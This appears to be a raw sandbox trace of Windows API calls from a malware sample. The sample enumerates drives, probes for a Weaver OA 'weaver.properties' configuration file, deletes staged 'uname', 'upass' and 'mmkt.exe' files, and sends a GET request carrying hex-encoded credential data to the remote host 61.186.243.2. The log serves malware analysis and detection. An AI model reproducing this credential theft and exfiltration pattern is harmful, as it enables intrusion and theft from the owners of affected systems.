dwFlags=0x0, lpMem=0x28bf08 | out: hHeap=0x230000) returned 1 [0068.676] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268290 [0068.676] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268258 [0068.676] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0068.676] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0068.677] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0068.677] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x230000) returned 1 [0068.677] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268258) returned 1 [0068.677] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268258 | out: hHeap=0x230000) returned 1 [0068.677] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268290) returned 1 [0068.677] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268290 | out: hHeap=0x230000) returned 1 [0068.677] ReadFile (in: hFile=0x180, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa10, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa10*=0x0, lpOverlapped=0x0) returned 1 [0068.677] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040) returned 1 [0068.677] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040 | out: hHeap=0x230000) returned 1 [0068.677] CloseHandle (hObject=0x180) returned 1 [0068.691] GetLastError () returned 0x0 [0068.691] SetLastError (dwErrCode=0x0) [0068.705] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0068.777] GetLastError () returned 0x0 [0068.777] SetLastError (dwErrCode=0x0) [0068.778] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0068.778] GetLastError () returned 0x0 [0068.778] SetLastError (dwErrCode=0x0) [0068.778] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0068.778] GetLastError () returned 0x0 [0068.778] SetLastError (dwErrCode=0x0) [0068.778] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0068.778] GetLastError () returned 0x0 [0068.778] SetLastError (dwErrCode=0x0) [0068.778] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0068.779] GetLastError () returned 0x0 [0068.779] SetLastError (dwErrCode=0x0) [0068.779] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0068.779] GetLastError () returned 0x0 [0068.779] SetLastError (dwErrCode=0x0) [0068.779] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0068.779] GetLastError () returned 0x0 [0068.779] SetLastError (dwErrCode=0x0) [0068.779] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0068.779] GetLastError () returned 0x0 [0068.779] SetLastError (dwErrCode=0x0) [0068.779] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0068.780] GetLastError () returned 0x0 [0068.780] SetLastError (dwErrCode=0x0) [0068.780] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0068.780] GetLastError () returned 0x0 [0068.780] SetLastError (dwErrCode=0x0) [0068.780] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0068.780] GetLastError () returned 0x0 [0068.780] SetLastError (dwErrCode=0x0) [0068.780] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0068.780] GetLastError () returned 0x0 [0068.780] SetLastError (dwErrCode=0x0) [0068.780] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0068.780] GetLastError () returned 0x0 [0068.780] SetLastError (dwErrCode=0x0) [0068.781] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0068.781] GetLastError () returned 0x0 [0068.781] SetLastError (dwErrCode=0x0) [0068.781] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0068.781] GetLastError () returned 0x0 [0068.781] SetLastError (dwErrCode=0x0) [0068.781] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0068.781] GetLastError () returned 0x0 [0068.781] SetLastError (dwErrCode=0x0) [0068.781] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0068.781] GetLastError () returned 0x0 [0068.781] SetLastError (dwErrCode=0x0) [0068.782] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0068.782] GetLastError () returned 0x0 [0068.782] SetLastError (dwErrCode=0x0) [0068.782] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0068.782] GetLastError () returned 0x0 [0068.782] SetLastError (dwErrCode=0x0) [0068.782] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0068.782] GetLastError () returned 0x0 [0068.782] SetLastError (dwErrCode=0x0) [0068.782] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0068.782] GetLastError () returned 0x0 [0068.782] SetLastError (dwErrCode=0x0) [0068.783] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0068.783] GetLastError () returned 0x0 [0068.783] SetLastError (dwErrCode=0x0) [0068.783] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0068.783] GetLastError () returned 0x0 [0068.783] SetLastError (dwErrCode=0x0) [0068.783] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0068.783] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268290 [0068.783] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x277f48 [0068.783] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268258 [0068.783] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267c00 [0068.784] AreFileApisANSI () returned 1 [0068.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x277f68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0068.784] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x86) returned 0x278d48 [0068.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x277f68, cbMultiByte=-1, lpWideCharStr=0x278d68, cchWideChar=49 | out: lpWideCharStr="C:\\WEAVER\\ecology\\WEB-INF\\prop\\weaver.properties") returned 49 [0068.784] CreateFileW (lpFileName="C:\\WEAVER\\ecology\\WEB-INF\\prop\\weaver.properties" (normalized: "c:\\weaver\\ecology\\web-inf\\prop\\weaver.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f7c0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.784] GetLastError () returned 0x3 [0068.784] GetLastError () returned 0x3 [0068.784] SetLastError (dwErrCode=0x3) [0068.784] GetLastError () returned 0x3 [0068.784] SetLastError (dwErrCode=0x3) [0068.784] GetLastError () returned 0x3 [0068.784] SetLastError (dwErrCode=0x3) [0068.784] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x278d48) returned 1 [0068.784] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x278d48 | out: hHeap=0x230000) returned 1 [0068.784] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268220 [0068.784] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268220) returned 1 [0068.785] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268220 | out: hHeap=0x230000) returned 1 [0068.785] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0068.785] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x230000) returned 1 [0068.785] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268258) returned 1 [0068.785] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268258 | out: hHeap=0x230000) returned 1 [0068.785] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277f48) returned 1 [0068.785] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277f48 | out: hHeap=0x230000) returned 1 [0068.786] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268290) returned 1 [0068.786] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268290 | out: hHeap=0x230000) returned 1 [0068.786] GetLastError () returned 0x3 [0068.786] SetLastError (dwErrCode=0x3) [0068.787] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0068.787] GetLastError () returned 0x3 [0068.787] SetLastError (dwErrCode=0x3) [0068.787] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0068.787] DeleteFileA (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname")) returned 1 [0068.788] DeleteFileA (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass")) returned 1 [0068.789] DeleteFileA (lpFileName="C:\\Users\\All Users\\mmkt.exe" (normalized: "c:\\users\\all users\\mmkt.exe")) returned 1 [0068.790] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268290 [0068.790] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x277f48 [0068.790] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268258 [0068.790] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267c00 [0068.790] AreFileApisANSI () returned 1 [0068.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bad40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.790] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x7e) returned 0x278d48 [0068.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bad40, cbMultiByte=-1, lpWideCharStr=0x278d68, cchWideChar=45 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\Scanlog") returned 45 [0068.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Scanlog" (normalized: "c:\\program files\\common files\\system\\scanlog"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f788, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0068.791] GetFileType (hFile=0x180) returned 0x1 [0068.791] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x278d48) returned 1 [0068.791] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x278d48 | out: hHeap=0x230000) returned 1 [0068.791] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x29f040 [0068.791] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18f7b8 | out: lpNewFilePointer=0x0) returned 1 [0068.791] GetLastError () returned 0x0 [0068.791] SetLastError (dwErrCode=0x0) [0068.792] GetLastError () returned 0x0 [0068.792] SetLastError (dwErrCode=0x0) [0068.792] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18f870 | out: lpNewFilePointer=0x0) returned 1 [0068.792] WriteFile (in: hFile=0x180, lpBuffer=0x18e4b0*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x18e4b0*, lpNumberOfBytesWritten=0x18e494*=0x37, lpOverlapped=0x0) returned 1 [0068.793] GetLastError () returned 0x0 [0068.793] SetLastError (dwErrCode=0x0) [0068.793] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040) returned 1 [0068.793] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040 | out: hHeap=0x230000) returned 1 [0068.793] CloseHandle (hObject=0x180) returned 1 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268220 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x278d48 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2681e8 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b3f8 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28bea8 [0068.794] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8) returned 1 [0068.794] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8 | out: hHeap=0x230000) returned 1 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6b) returned 0x276fc0 [0068.794] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0068.794] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x8e) returned 0x277038 [0068.794] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0) returned 1 [0068.794] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0 | out: hHeap=0x230000) returned 1 [0068.794] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2681b0 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xc4) returned 0x2a5528 [0068.795] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277038) returned 1 [0068.795] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277038 | out: hHeap=0x230000) returned 1 [0068.795] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2681e8) returned 1 [0068.795] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2681e8 | out: hHeap=0x230000) returned 1 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2681e8 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28bea8 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268178 [0068.795] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268178) returned 1 [0068.795] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268178 | out: hHeap=0x230000) returned 1 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268178 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268140 [0068.795] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xe4) returned 0x276fc0 [0068.796] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x143) returned 0x2a2f60 [0068.796] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0) returned 1 [0068.796] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0 | out: hHeap=0x230000) returned 1 [0068.796] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268108 [0068.818] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268178) returned 1 [0068.818] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268178 | out: hHeap=0x230000) returned 1 [0068.818] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268108) returned 1 [0068.818] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268108 | out: hHeap=0x230000) returned 1 [0068.819] WinHttpOpen (pszAgentW="Winnet Client", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x276fc0 [0068.989] WinHttpConnect (hSession=0x276fc0, pswzServerName="61.186.243.2", nServerPort=0x1f92, dwReserved=0x0) returned 0x2aafc0 [0069.000] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ff0 [0069.000] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xf4) returned 0x2716c8 [0069.000] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1c0) returned 0x2717c8 [0069.000] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2716c8) returned 1 [0069.000] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2716c8 | out: hHeap=0x230000) returned 1 [0069.000] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ff0) returned 1 [0069.000] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ff0 | out: hHeap=0x230000) returned 1 [0069.000] WinHttpOpenRequest (hConnect=0x2aafc0, pwszVerb="GET", pwszObjectName="/api/data.php?code=EI5HT07HHN3BJJTA&url=546D46745A534136494673384E584131546E4A48536D3477616C4D675345464D5547316A65486F2B5851705159584E7A49446F67577A7732625735494E304E6B5330732B58513D3D&from=WinPC&kind=report", pwszVersion="HTTP/1.1", pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x271990 [0069.001] WinHttpSendRequest (hRequest=0x271990, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0070.367] WinHttpCloseHandle (hInternet=0x271990) returned 1 [0070.367] WinHttpCloseHandle (hInternet=0x2aafc0) returned 1 [0070.367] WinHttpCloseHandle (hInternet=0x276fc0) returned 1 [0070.367] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2a2f60) returned 1 [0070.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a2f60 | out: hHeap=0x230000) returned 1 [0070.367] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268140) returned 1 [0070.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268140 | out: hHeap=0x230000) returned 1 [0070.367] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0070.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0070.367] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2681e8) returned 1 [0070.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2681e8 | out: hHeap=0x230000) returned 1 [0070.367] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528) returned 1 [0070.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2681b0) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2681b0 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x278d48) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x278d48 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268220) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268220 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268258) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268258 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277f48) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277f48 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268290) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268290 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18 | out: hHeap=0x230000) returned 1 [0070.368] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448) returned 1 [0070.368] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448 | out: hHeap=0x230000) returned 1 [0070.369] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0070.369] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0070.369] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8) returned 1 [0070.369] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8 | out: hHeap=0x230000) returned 1 [0070.369] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268370) returned 1 [0070.369] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268370 | out: hHeap=0x230000) returned 1 [0070.369] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8) returned 1 [0070.369] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8 | out: hHeap=0x230000) returned 1 [0070.369] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8) returned 1 [0070.369] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8 | out: hHeap=0x230000) returned 1 [0070.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ca8 [0070.385] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268370 [0070.385] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2682c8 [0070.385] GetLastError () returned 0x0 [0070.385] SetLastError (dwErrCode=0x0) [0070.385] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0070.548] GetLastError () returned 0x0 [0070.548] SetLastError (dwErrCode=0x0) [0070.548] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0070.549] GetLastError () returned 0x0 [0070.549] SetLastError (dwErrCode=0x0) [0070.549] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0070.549] GetLastError () returned 0x0 [0070.549] SetLastError (dwErrCode=0x0) [0070.549] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0070.549] GetLastError () returned 0x0 [0070.549] SetLastError (dwErrCode=0x0) [0070.549] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0070.549] GetLastError () returned 0x0 [0070.549] SetLastError (dwErrCode=0x0) [0070.549] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0070.550] GetLastError () returned 0x0 [0070.550] SetLastError (dwErrCode=0x0) [0070.550] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0070.550] GetLastError () returned 0x0 [0070.550] SetLastError (dwErrCode=0x0) [0070.550] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0070.550] GetLastError () returned 0x0 [0070.550] SetLastError (dwErrCode=0x0) [0070.550] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0070.550] GetLastError () returned 0x0 [0070.550] SetLastError (dwErrCode=0x0) [0070.550] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0070.551] GetLastError () returned 0x0 [0070.551] SetLastError (dwErrCode=0x0) [0070.551] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0070.551] GetLastError () returned 0x0 [0070.551] SetLastError (dwErrCode=0x0) [0070.551] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0070.551] GetLastError () returned 0x0 [0070.551] SetLastError (dwErrCode=0x0) [0070.551] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0070.551] GetLastError () returned 0x0 [0070.551] SetLastError (dwErrCode=0x0) [0070.551] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0070.551] GetLastError () returned 0x0 [0070.551] SetLastError (dwErrCode=0x0) [0070.552] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0070.552] GetLastError () returned 0x0 [0070.552] SetLastError (dwErrCode=0x0) [0070.552] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0070.552] GetLastError () returned 0x0 [0070.552] SetLastError (dwErrCode=0x0) [0070.552] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0070.552] GetLastError () returned 0x0 [0070.552] SetLastError (dwErrCode=0x0) [0070.552] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0070.552] GetLastError () returned 0x0 [0070.552] SetLastError (dwErrCode=0x0) [0070.553] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0070.553] GetLastError () returned 0x0 [0070.553] SetLastError (dwErrCode=0x0) [0070.553] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0070.553] GetLastError () returned 0x0 [0070.553] SetLastError (dwErrCode=0x0) [0070.553] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0070.553] GetLastError () returned 0x0 [0070.553] SetLastError (dwErrCode=0x0) [0070.553] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0070.553] GetLastError () returned 0x0 [0070.553] SetLastError (dwErrCode=0x0) [0070.554] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0070.554] GetLastError () returned 0x0 [0070.554] SetLastError (dwErrCode=0x0) [0070.554] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0070.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0070.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x29e9e8 [0070.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267d18 [0070.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ce0 [0070.554] AreFileApisANSI () returned 1 [0070.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29ea08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0070.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x86) returned 0x26e830 [0070.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x29ea08, cbMultiByte=-1, lpWideCharStr=0x26e850, cchWideChar=49 | out: lpWideCharStr="C:\\WEAVER\\ecology\\WEB-INF\\prop\\weaver.properties") returned 49 [0070.555] CreateFileW (lpFileName="C:\\WEAVER\\ecology\\WEB-INF\\prop\\weaver.properties" (normalized: "c:\\weaver\\ecology\\web-inf\\prop\\weaver.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f7e4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.555] GetLastError () returned 0x3 [0070.555] GetLastError () returned 0x3 [0070.555] SetLastError (dwErrCode=0x3) [0070.555] GetLastError () returned 0x3 [0070.555] SetLastError (dwErrCode=0x3) [0070.555] GetLastError () returned 0x3 [0070.555] SetLastError (dwErrCode=0x3) [0070.555] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26e830) returned 1 [0070.555] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26e830 | out: hHeap=0x230000) returned 1 [0070.556] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268290 [0070.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268290) returned 1 [0070.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268290 | out: hHeap=0x230000) returned 1 [0070.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0) returned 1 [0070.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0 | out: hHeap=0x230000) returned 1 [0070.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18) returned 1 [0070.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18 | out: hHeap=0x230000) returned 1 [0070.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29e9e8) returned 1 [0070.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29e9e8 | out: hHeap=0x230000) returned 1 [0070.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0070.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0070.556] GetLastError () returned 0x3 [0070.556] SetLastError (dwErrCode=0x3) [0070.556] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0070.556] GetLastError () returned 0x3 [0070.557] SetLastError 